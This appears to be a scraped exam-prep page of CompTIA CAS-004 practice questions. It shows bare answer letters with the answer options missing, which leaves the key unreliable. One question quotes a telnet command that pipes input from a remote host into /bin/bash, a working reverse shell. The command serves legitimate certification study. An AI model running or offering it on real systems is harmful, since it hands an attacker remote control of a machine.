A company wants to securely manage the APIs that were developed for its in-house applications. Previous penetration tests revealed that developers were embedding unencrypted passwords in the code. Which of the following can the company do to address this finding? (Choose two.)
Answer(s): A,C
When a remote employee traveled overseas, the employee’s laptop and several mobile devices with proprietary tools were stolen. The security team requires technical controls be in place to ensure no electronic data is compromised or changed. Which of the following BEST meets this requirement?
Answer(s): D
A penetration tester inputs the following command:telnet 192.168.99.254 343 ! /bin/bash | telnet 192.168.99.254 344This command will allow the penetration tester to establish a:
Answer(s): C
Which of the following is the MOST important cloud-specific risk from the CSP’s viewpoint?
Answer(s): B
A security engineer is reviewing a record of events after a recent data breach incident that involved the following:• A hacker conducted reconnaissance and developed a footprint of the company’s Internet-facing web application assets.• A vulnerability in a third-party library was exploited by the hacker, resulting in the compromise of a local account.• The hacker took advantage of the account’s excessive privileges to access a data store and exfiltrate the data without detection.Which of the following is the BEST solution to help prevent this type of attack from being successful in the future?
Post your Comments and Discuss CompTIA CAS-004 exam prep with other Community members:
Our website is free, but we have to fight against AI bots and content theft. We're sorry for the inconvenience caused by these security measures. You can access the rest of the CAS-004 content, but please register or login to continue.